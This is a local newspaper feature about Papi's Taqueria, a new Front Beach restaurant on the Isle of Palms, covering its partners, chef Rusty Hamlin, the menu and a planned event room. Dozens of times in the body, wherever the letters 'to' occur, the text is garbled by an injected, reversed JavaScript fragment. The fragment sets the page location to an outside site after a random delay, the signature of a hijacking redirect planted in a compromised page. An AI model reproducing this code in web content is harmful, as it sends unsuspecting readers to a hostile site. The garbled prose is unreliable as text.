Hola Papi

By Mimi Wood, Island Eye News Staff Writer

Restaurant interior.

“I’ve been here since Day One and it’s AWESOME.” exclaims Eliza Turnage, Wando student, islander, and hostess extraordinaire. Turnage isn’t the only thing that’s extraordinary about Papi’s Taqueria, Isle of Palms newest Front Beach eatery. For starters, the food is muy bueno.

The front stairway with lyrics tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Toes, written by partner Wyatt Durrette.

As one would expect from a taqueria, tacos dominate the menu. Most everything served is sourced from local farms and fishermen, including the handmade corn tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tortillas from Mitla Tortilleria. Do not overlook the Maiz Callerjero, street corn the likes of which you’ve never tasted. Or seen. The presentation is truly a work of art.

Papi’s open at 1012 Ocean Blvd. in IOP.

A partnership, Papi’s is the brainchild of Brett Jones, owner of The Dinghy, a local watering hole also on Front Beach. Jones approached Benj Farmery, his longtime friend, and owner of the freestanding building that formerly housed “Splash,” a “landmark” IOP gift shop whose owner recently retired. Jones presented Farmery with the idea of opening a restaurant in the space. Perusing the list of partners Jones was proposing, Farmery “gave his blessing, and tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}told Brett ‘Do what you want,’ recalls Eric Evaul, a partner and Papi’s General Manager.

“Brett pulled us all in tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fill different roles,” Evaul continues. “His best friend is Wyatt Durrette,” a singer/songwriter whose catchy tune “Toes” helped put the Zac Brown on the map. As a matter of fact, lyrics tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the song adorn the risers of the stairs ascending tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Papi’s second floor.

Durette frequents Papi’s, when he’s not busy with his other restaurant, in Atlanta, or traveling with The Zac Brown Band. And although the bright, vintage-Mexican, beachy decor of Papi’s was “a collaborative effort of all the partners,” states Evaul, “Wyatt and his wife Kelly had the biggest part in it.”

Another partner, and tie tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Zac Brown, comes in the form of Papi’s executive chef, Rusty Hamlin. Hamlin, a graduate of the Culinary Arts Institute of Lousiana, started his career in his native Batobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Rouge.

When he met Brown a fast friendship formed; Hamlin has been traveling with and cooking for the band for almost a decade. Hamlin developed Papi’s menu and recipes, and is on site when not involved in his myriad of other activities.

 “I’d be remiss not tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to mention our silent partner, Malcom Burgis,” notes Evaul. Burgis is the longtime owner of The Windjammer. More than a bar and entertainment venue, The Windjammer is a veritable institution on Front Beach.

Papi’s is open daily from 4 p.m. until 10 p.m. “Most weekends we are on wait after 6 p.m.,” states Evaul. “Weekdays are still a bit ‘hit or miss;’ some days we’re jammed while others not so much. We’re really trying tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dial in tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the locals,” he elaborates, “we are trying tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bring a new option tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the island…good food, and a place tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hang out.”

That new option includes an ocean view from Papi’s rooftobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top bar, rivaled in beauty by the gorgeous hand-crafted cocktails; almost tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too pretty tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to drink. (Keyword: almost.) Plans for an event space on the second floor, adjacent tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the rooftobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top bar, are just about final.

 “Our intent is tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to accommodate up tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 50 guests,” in the nearlycompleted Arriba Room, “for everything from corporate holiday gatherings tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to private birthday celebrations tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to rehearsal dinners tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Superbowl parties,” explains Evaul. “We have a mini-kitchen up there, and can provide a private chef. We already have about half a dozen events booked,” he states.

“Down the road, we foresee the second floor space being utilized for entertainment. Given our connection tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to The Windjammer, we could host pre-show dinners and intimate acoustical sets prior tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the main Windjammer event; kind of like a ‘VIP’ experience,” Evaul envisions.

 Judging from chatter on local social media, Papi’s is a welcome addition tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Isle of Palms. Better hurry and claim your status as a regular before it’s tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too late.

More information, including Papi’s Allergy Free Menu, may be found at PapisIOP.com

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